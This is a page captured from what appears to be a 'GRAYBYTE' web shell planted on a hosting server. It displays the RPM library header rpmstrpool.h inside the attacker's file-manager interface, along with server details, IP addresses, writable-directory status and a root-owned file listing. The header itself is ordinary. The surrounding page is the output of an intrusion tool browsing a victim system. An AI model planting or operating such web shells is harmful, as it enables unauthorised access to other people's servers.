✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ cp240.webserver.pt ​🇻​♯➤ 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 62.193.192.154 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.26
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /usr/include/rpm//rpmstrpool.h
#ifndef _RPMSTRPOOL_H
#define _RPMSTRPOOL_H

/** \ingroup rpmstrpool
 * \file rpmio/rpmstrpool.h
 *
 * String pools manipulation helper functions
 *
 */

#include <rpm/rpmtypes.h>

#ifdef __cplusplus
extern "C" {
#endif

/** \ingroup rpmstrpool
 * Create a new, empty string pool.
 * @return		new string pool
 */
rpmstrPool rpmstrPoolCreate(void);

/** \ingroup rpmstrpool
 * Free a string pool and its contents. While other references exist,
 * this only decrements the reference count.
 * @param pool		string pool
 * @return		NULL always
 */
rpmstrPool rpmstrPoolFree(rpmstrPool pool);

/** \ingroup rpmstrpool
 * Reference a string pool
 * @param pool		string pool
 * @return		new string pool reference
 */
rpmstrPool rpmstrPoolLink(rpmstrPool pool);

/** \ingroup rpmstrpool
 * Freeze a string pool: new strings cannot be added to a frozen pool.
 * If keephash is 0, memory usage is minimized but string -> id lookups
 * are no longer possible and unfreezing is an expensive operation.
 * Id -> string lookups are always possible on a frozen pool too.
 * @param pool		string pool
 * @param keephash	should string -> id hash be kept around?
 */
void rpmstrPoolFreeze(rpmstrPool pool, int keephash);

/** \ingroup rpmstrpool
 * Unfreeze a string pool to allow new additions again.
 * If keephash was not specified on freezing, this requires rehashing
 * the entire pool contents.
 * @param pool		string pool
 */
void rpmstrPoolUnfreeze(rpmstrPool pool);

/** \ingroup rpmstrpool
 * Look up the id of a string. If create is specified the string is
 * added to the pool if it does not already exist. Creation can only
 * fail if the pool is in frozen state.
 * @param pool		string pool
 * @param s		\0-terminated string to look up
 * @param create	should an id be created if not already present?
 * @return		id of the string or 0 for not found
 */
rpmsid rpmstrPoolId(rpmstrPool pool, const char *s, int create);

/** \ingroup rpmstrpool
 * Look up the id of a string with predetermined length. The string does
 * not have to be \0-terminated. If create is specified the string is
 * added to the pool if it does not already exist. Creation can only
 * fail if the pool is in frozen state. 
 * @param pool		string pool
 * @param s		string to look up
 * @param slen		number of characters from s to consider
 * @param create	should an id be created if not already present?
 * @return		id of the string or 0 for not found
 */
rpmsid rpmstrPoolIdn(rpmstrPool pool, const char *s, size_t slen, int create);

/** \ingroup rpmstrpool
 * Look up a string by its pool id.
 * @param pool		string pool
 * @param sid		pool id of a string
 * @return		pointer to the string or NULL for invalid id
 */
const char * rpmstrPoolStr(rpmstrPool pool, rpmsid sid);

/** \ingroup rpmstrpool
 * Return length of a string by its pool id. The result is equal to
 * calling strlen() on a string retrieved through rpmstrPoolStr(), but
 * the pool might be able to optimize the calculation.
 * @param pool		string pool
 * @param sid		pool id of a string
 * @return		length of the string, 0 for invalid pool or id
 */
size_t rpmstrPoolStrlen(rpmstrPool pool, rpmsid sid);

/** \ingroup rpmstrpool
 * Compare two strings for equality by their ids. The result is equal to
 * calling rstreq() on two strings retrieved through rpmstrPoolStr() but
 * when the id's are within the same pool, this runs in constant time.
 * @param poolA		string pool of the first string
 * @param sidA		pool id of the first string
 * @param poolB		string pool of the second string
 * @param sidB		pool id of the second string
 * @return		1 if strings are equal, 0 otherwise
 */
int rpmstrPoolStreq(rpmstrPool poolA, rpmsid sidA,
                    rpmstrPool poolB, rpmsid sidB);

/** \ingroup rpmstrpool
 * Return the number of strings stored in the pool. This number is
 * also the highest legal id for the pool.
 * @param pool		string pool
 * @return		number of strings in the pool
 */
rpmsid rpmstrPoolNumStr(rpmstrPool pool);

#ifdef __cplusplus
}
#endif

#endif /* _RPMSIDPOOL_H */


Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
4 Jun 2026 2.36 AM
root / root
0755
argv.h
4.142 KB
17 Dec 2024 4.11 AM
root / root
0644
header.h
11.014 KB
17 Dec 2024 4.11 AM
root / root
0644
rpmarchive.h
4.181 KB
17 Dec 2024 4.11 AM
root / root
0644
rpmbase64.h
1.087 KB
17 Dec 2024 4.11 AM
root / root
0644
rpmbuild.h
3.575 KB
17 Dec 2024 4.11 AM
root / root
0644
rpmcallback.h
2.148 KB
17 Dec 2024 4.11 AM
root / root
0644
rpmcli.h
12.855 KB
17 Dec 2024 4.11 AM
root / root
0644
rpmdb.h
6.352 KB
17 Dec 2024 4.11 AM
root / root
0644
rpmds.h
15.908 KB
17 Dec 2024 4.11 AM
root / root
0644
rpmfc.h
3.687 KB
17 Dec 2024 4.11 AM
root / root
0644
rpmfi.h
11.302 KB
17 Dec 2024 4.11 AM
root / root
0644
rpmfiles.h
15.528 KB
17 Dec 2024 4.11 AM
root / root
0644
rpmfileutil.h
5.135 KB
17 Dec 2024 4.11 AM
root / root
0644
rpmio.h
2.34 KB
17 Dec 2024 4.11 AM
root / root
0644
rpmkeyring.h
3.021 KB
17 Dec 2024 4.11 AM
root / root
0644
rpmlib.h
5.333 KB
17 Dec 2024 4.11 AM
root / root
0644
rpmlog.h
6.98 KB
17 Dec 2024 4.11 AM
root / root
0644
rpmmacro.h
4.355 KB
17 Dec 2024 4.11 AM
root / root
0644
rpmpgp.h
48.048 KB
17 Dec 2024 4.11 AM
root / root
0644
rpmpol.h
0.379 KB
17 Dec 2024 4.11 AM
root / root
0644
rpmprob.h
4.791 KB
17 Dec 2024 4.11 AM
root / root
0644
rpmps.h
2.295 KB
17 Dec 2024 4.11 AM
root / root
0644
rpmsign.h
0.797 KB
17 Dec 2024 4.11 AM
root / root
0644
rpmspec.h
2.438 KB
17 Dec 2024 4.11 AM
root / root
0644
rpmsq.h
1.823 KB
17 Dec 2024 4.11 AM
root / root
0644
rpmstring.h
4.2 KB
17 Dec 2024 4.11 AM
root / root
0644
rpmstrpool.h
3.941 KB
17 Dec 2024 4.11 AM
root / root
0644
rpmsw.h
2.109 KB
17 Dec 2024 4.11 AM
root / root
0644
rpmtag.h
22.569 KB
17 Dec 2024 4.11 AM
root / root
0644
rpmtd.h
12.756 KB
17 Dec 2024 4.11 AM
root / root
0644
rpmte.h
6.242 KB
17 Dec 2024 4.11 AM
root / root
0644
rpmts.h
18.817 KB
17 Dec 2024 4.11 AM
root / root
0644
rpmtypes.h
2.603 KB
17 Dec 2024 4.11 AM
root / root
0644
rpmurl.h
1.148 KB
17 Dec 2024 4.11 AM
root / root
0644
rpmutil.h
4.705 KB
17 Dec 2024 4.11 AM
root / root
0644
rpmvf.h
4.101 KB
17 Dec 2024 4.11 AM
root / root
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF